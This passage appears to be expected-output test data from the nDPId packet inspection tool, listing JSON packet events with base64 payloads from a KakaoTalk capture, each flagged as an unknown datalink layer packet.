packet","thread_id":0,"packet_id":2686,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00437{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2687,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069209,"pkt_ts_usec":247077,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/SV2AbDOzfrJLw1SapdqCKRnkihoSP0KirsC0o0D\/G1GC7tmR6S7AltKjx98RxSCQdtpec\/J0S+E1"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2687,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00453{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2688,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069209,"pkt_ts_usec":251044,"pkt_caplen":110,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":110,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAF4AAEAAHBH+HAHJAa4KGFK8WgYoHABKMrWAbFEti0LqGguGVRnpHjOtMwjGtf3E5Ulr\/ejBFc9aQjdsIyXgQha4aS1VURoNW2G5DoRo1eRDZukayp8XUUxskIM="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2688,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2689,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069209,"pkt_ts_usec":259070,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFkAAEAAHBH+IQHJAa4KGFK8WgYoHABFQGaAbFEui0Lt2guGVRmMRvGVY4domnW4xP4NuPsmkPkgQMExAmidDN\/Aagz3VWQK\/t0w2repUXeCyk\/OYiR\/"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2689,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2690,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069209,"pkt_ts_usec":281043,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/n5qAbDO2frJXA1SapdridB63tyqL\/2cIPBBQhtX3Gq7kDWzHzVGekRh8HZoAFfKxDteveOWqPe8J"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2690,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2691,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069209,"pkt_ts_usec":299201,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/O96AbDO0frJPg1SapdoZCvN+Kzg9a6ZwEXR0u0ddehbj\/jS9ewfkePG5cd96VBf287gdB0kspvGO"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2691,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00440{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2692,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069209,"pkt_ts_usec":333747,"pkt_caplen":102,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":102,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFYAAEAAPxHbTAoYUrwByQGuLDhaBABCMNuAbFExi0L5GguGVRl91nP3Bi4UXVhBpSEsbAedhg0pMJ6n8oUCSv5KeLvx8CZ3rJ+6KFZWAKlDriAO"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2692,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00437{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2693,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069209,"pkt_ts_usec":345069,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/N++AbDO1frJTQ1SapdpxDXeaFrpS6+csekBpS5zNkEJI\/Z5onC5exdzC\/BA3Zuj6cs4riH91vPtg"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2693,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00437{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2694,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069209,"pkt_ts_usec":363654,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/ZEyAbDO3frJaw1Sapdo9DipCx\/xCO6V+Ftrm4iRjabaQths59wyQ9\/khszbxuihtEErt4TV2yrKV"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2694,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2695,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069209,"pkt_ts_usec":367316,"pkt_caplen":107,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":107,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFsAAEAAHBH+HwHJAa4KGFK8WgYoHABHctSAbFEvi0LxmguGVRl1ODpbTCBF33mJ3wF3GTQxdqLHGMeQHTp8dHnZ0L0WD2v+lGxS9xXoz6iczTZlZmCZdKo="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2695,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2696,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069209,"pkt_ts_usec":371863,"pkt_caplen":106,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":106,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFoAAEAAHBH+IAHJAa4KGFK8WgYoHABGleiAbFEwi0L1WguGVRmpTqNyQhGqlM1yUWWFxt6tWBxgKnB7zrmrGIa8rMWbUnNeLhfTLNJxADuLqMKDfWGTOA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2696,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2697,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069209,"pkt_ts_usec":399207,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/m4CAbDO2frJXA1SapdridB63tyqL\/2cIPBBQhtX3Gq7kDWzHzVGekRh8HZoAFfKxDteveOWqPe8J"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2697,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2698,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069209,"pkt_ts_usec":421576,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/rcKAbDO4frJeg1SapdpskeAuFioor0zwF2aMLGVPCZGzhVHfiu8kiAjPpyT3apIUl6JwzH+ZuBrK"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2698,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00535{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2699,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069209,"pkt_ts_usec":433661,"pkt_caplen":170,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":170,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAJoAAEAAPxHbCAoYUrwByQGuLDhaBACGPXuAbFEyi0L82guGVRlhIGd8hSffcWfe\/zp0M1\/rzTVquQNza5PEPWRQAFvkASJ\/B2hM2k3Dz4TxCjvoBMIht4G3WaiPYPJpa00WqLo4TwTwt4pUcZFpH8eVjrwDPGG0MxvgKYq9Ix8b5EWtQhn3WQFyRENbIvRxmNZzTtSnUSU="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2699,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00603{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2700,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069209,"pkt_ts_usec":439643,"pkt_caplen":222,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":222,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAM4AAEAAPxHa1AoYUrwByQGuLDhaBAC6D\/eAbFEzi0MAmguGVRlynDhxbVR1Iim\/krzb7Hym0\/wmSzVVEMyGq+lnHbbjZjM0r31HmiOCjmAw3WzcqX5dvv3VsfP5nzx5xn+lDSepABTG0m98UZweilNzfq51uE5suGwgoiYbBFiYouDbZOYu4lZZaKPO4IJObwAlpyrnr4RGMsTDQQOJIdGUuGLUikVivTxd5u+ers45u2fGeQYUc7HFH2LuHZAHGtUHs2c4c2rqapYr"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2700,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00440{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2701,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069209,"pkt_ts_usec":447180,"pkt_caplen":102,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":102,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFYAAEAAHBH+JAHJAa4KGFK8WgYoHABCNPWAbFExi0L5GguGVRl91nP3Bi4UXVhBpSEsbAedhg0pMJ6n8oUCSv5KeLvx8CZ3rJ+6KFZWAKlDriAO"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2701,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00460{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2702,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069209,"pkt_ts_usec":461341,"pkt_caplen":112,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":112,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGAAAEAAQBHaQgoYUrwByQGuKBxaBgBMMs6AbDO5frJiQ1SapdrRt3Kehac0e0v+5M2C2J4\/n2EfboY29tr2iax0hQk0i3\/O1DN\/Kuiynd1WYjq7vMbdf0\/1gMAb4Q=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2702,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00437{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2703,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069209,"pkt_ts_usec":479254,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/YDKAbDO3frJaw1Sapdo9DipCx\/xCO6V+Ftrm4iRjabaQths59wyQ9\/khszbxuihtEErt4TV2yrKV"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2703,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00545{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2704,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069209,"pkt_ts_usec":506598,"pkt_caplen":178,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":178,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAKIAAEAAQBHaAAoYUrwByQGuKBxaBgCOJ\/2AbDO6frJmA1SapdqYdB65Hix1TqAq+MDd1FHVdA7rYuD4wSetZH67kli3jTwxUmd3y0AsCf03wqTkTHOUv2uTL6r1kS6x38Krz4cGgy2i0pPrZZ7C48yuYbPteBAMHMXt8Kk+D7W38COHeFSX9G4ATVdxiNQVCNXIn7bLHHG2aG7HfAfxHw=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2704,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00595{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2705,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069209,"pkt_ts_usec":537787,"pkt_caplen":214,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":214,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAMYAAEAAPxHa3AoYUrwByQGuLDhaBACyP7eAbFE0i0MEWguGVRl8bPHGWdQm9V8X7BffrXp05Aiwt+3AKnua2BXvQdzJA4LlojlkthuNlG+OHIHDWNVAblVyZZ7fnu2xkLkY86S60LoyW+h26w4fDAw1RKGTmn0u7HLD84lB91eSxNFTlvd0jSVVFGs3k1JKnJCohzkLnIkCsJo90Wygc\/\/SCgvIv6APvC1QXozN\/k5mUeK0i2vF0BZk62zKRrP9A4lShw=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2705,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00584{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2706,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069209,"pkt_ts_usec":539954,"pkt_caplen":206,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":206,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAL4AAEAAPxHa5AoYUrwByQGuLDhaBACqtieAbFE1i0MIGguGVRlGfDFIvi+F8B\/aKkG3GxjkXZP\/xrR6Hv97yBgrhs8j8Tlg85+9F2st+NU22ONCQClr6LbZmqG5FldY8jaW5u9tI9hbkXQeHG09NeEvVouS2BjjzGecjpr\/i2T+VAXmmSuf9k1tgeiWaXy6ZumrT46803VdYeYc0EZg24pOMNpg8YKURPE0UmKYtgtdttfTpFPHHNDs\/Kk="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2706,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2707,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069209,"pkt_ts_usec":543280,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/qaiAbDO4frJeg1SapdpskeAuFioor0zwF2aMLGVPCZGzhVHfiu8kiAjPpyT3apIUl6JwzH+ZuBrK"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2707,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00535{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2708,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069209,"pkt_ts_usec":548621,"pkt_caplen":170,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":170,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAJoAAEAAHBH94AHJAa4KGFK8WgYoHACGQZWAbFEyi0L82guGVRlhIGd8hSffcWfe\/zp0M1\/rzTVquQNza5PEPWRQAFvkASJ\/B2hM2k3Dz4TxCjvoBMIht4G3WaiPYPJpa00WqLo4TwTwt4pUcZFpH8eVjrwDPGG0MxvgKYq9Ix8b5EWtQhn3WQFyRENbIvRxmNZzTtSnUSU="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2708,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00602{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2709,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069209,"pkt_ts_usec":583838,"pkt_caplen":222,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":222,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAM4AAEAAHBH9rAHJAa4KGFK8WgYoHAC6FBGAbFEzi0MAmguGVRlynDhxbVR1Iim\/krzb7Hym0\/wmSzVVEMyGq+lnHbbjZjM0r31HmiOCjmAw3WzcqX5dvv3VsfP5nzx5xn+lDSepABTG0m98UZweilNzfq51uE5suGwgoiYbBFiYouDbZOYu4lZZaKPO4IJObwAlpyrnr4RGMsTDQQOJIdGUuGLUikVivTxd5u+ers45u2fGeQYUc7HFH2LuHZAHGtUHs2c4c2rqapYr"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2709,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00460{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2710,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069209,"pkt_ts_usec":584021,"pkt_caplen":112,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":112,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGAAAEAAHRH9GgHJAa4KGFK8WgQsOABMLrSAbDO5frJiQ1SapdrRt3Kehac0e0v+5M2C2J4\/n2EfboY29tr2iax0hQk0i3\/O1DN\/Kuiynd1WYjq7vMbdf0\/1gMAb4Q=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2710,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00536{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2711,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069209,"pkt_ts_usec":605109,"pkt_caplen":170,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":170,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAJoAAEAAQBHaCAoYUrwByQGuKBxaBgCGaF+AbDO7frJpw1Sapdrjz91gBF+Mkv\/6LJBf03Adfz7Cw\/Ky3zF\/hEcyhI03u0ecfHn5aNU3SvYc9DoxduG6eFK7PDWbwRUt27JlBVwWuDg2uQ0XTcTW4Se\/+RVEWt08OiRXZSolUfLgFCvGsP404cwa00TMQGPVnY+yeUP4LrU="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2711,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00554{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2712,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069209,"pkt_ts_usec":636603,"pkt_caplen":186,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":186,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAKoAAEAAPxHa+AoYUrwByQGuLDhaBACW\/RuAbFE2i0ML2guGVRlxE8L5gkDEl7g2MtHsMvqpvTiBVzlw1dDop8neb3j0EIu4K6bvx7nddX7sR3HIKg8LvYGVX7sJ4tl9bcUPxPimQG2hUgXaOxO1N1Oyi37\/3Ca+IOGPxm0NhxyTme11Df6p+he9s9e9peX7HRvGwSwipyYjHQU3UFzpzM3BbAjmPpdl"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2712,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00544{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2713,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069209,"pkt_ts_usec":643164,"pkt_caplen":178,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":178,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAKIAAEAAHRH82AHJAa4KGFK8WgQsOACOI+OAbDO6frJmA1SapdqYdB65Hix1TqAq+MDd1FHVdA7rYuD4wSetZH67kli3jTwxUmd3y0AsCf03wqTkTHOUv2uTL6r1kS6x38Krz4cGgy2i0pPrZZ7C48yuYbPteBAMHMXt8Kk+D7W38COHeFSX9G4ATVdxiNQVCNXIn7bLHHG2aG7HfAfxHw=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2713,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00512{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2714,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069209,"pkt_ts_usec":644843,"pkt_caplen":155,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":155,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAIsAAEAAQBHaFwoYUrwByQGuKBxaBgB3gMuAbDO8frJtg1SapdrUwweBtToPUirwOD2TYslT3C1i3YPeTo2vT8rTwHRbUbPL3UPudctotuMJRZQCXiuqKA6QaT38OmS220BxQQdHkZ9diCdrtfkyOYrlkUuJJ0DVRIvKk6Gx+RZW1bUEaWPvzjE="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2714,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00595{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2715,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069209,"pkt_ts_usec":659217,"pkt_caplen":214,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":214,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAMYAAEAAHBH9tAHJAa4KGFK8WgYoHACyQ9GAbFE0i0MEWguGVRl8bPHGWdQm9V8X7BffrXp05Aiwt+3AKnua2BXvQdzJA4LlojlkthuNlG+OHIHDWNVAblVyZZ7fnu2xkLkY86S60LoyW+h26w4fDAw1RKGTmn0u7HLD84lB91eSxNFTlvd0jSVVFGs3k1JKnJCohzkLnIkCsJo90Wygc\/\/SCgvIv6APvC1QXozN\/k5mUeK0i2vF0BZk62zKRrP9A4lShw=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2715,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00584{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2716,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069209,"pkt_ts_usec":679206,"pkt_caplen":206,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":206,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAL4AAEAAHBH9vAHJAa4KGFK8WgYoHACqukGAbFE1i0MIGguGVRlGfDFIvi+F8B\/aKkG3GxjkXZP\/xrR6Hv97yBgrhs8j8Tlg85+9F2st+NU22ONCQClr6LbZmqG5FldY8jaW5u9tI9hbkXQeHG09NeEvVouS2BjjzGecjpr\/i2T+VAXmmSuf9k1tgeiWaXy6ZumrT46803VdYeYc0EZg24pOMNpg8YKURPE0UmKYtgtdttfTpFPHHNDs\/Kk="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2716,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00534{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2717,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069209,"pkt_ts_usec":685126,"pkt_caplen":170,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":170,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAJoAAEAAQBHaCAoYUrwByQGuKBxaBgCGZiSAbDO9frJxQ1SapdqRp8dC06l0u4E2HMEiEDuuuw0FtbC+9vJA6wdqqhuLM2VbZg6TqH0dJxmHtSxb58PZzexH0PonmAvnZabco6YZvxW5m0BGqVAm\/\/gq31qj3qLH1KKS6rWCY9ZoOK7hQKux2bjng+fw6afgr7OVlAw36Xk="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2717,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00583{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2718,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069209,"pkt_ts_usec":740882,"pkt_caplen":205,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":205,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAL0AAEAAPxHa5QoYUrwByQGuLDhaBACp8DqAbFE3i0MPmguGVRng1\/Qn1E7Zx6jkOWsZzCfBNMcMoBkbjJryM4HoQOfABPMYmnUHcnqH+yclRUHk\/OU38FhzqhJ9YiJdKIWneeaiOm8bzXSCLDl0IuysxDCG9EP94z+VyDv\/zeN8X6tQZsTG6uaUlIMhSWHjWC+r0wM+al+fCi2dqPQ4olCGi6FMAI5xeq0Q9viwcgIm+BThjzjzbn0+kg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2718,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} 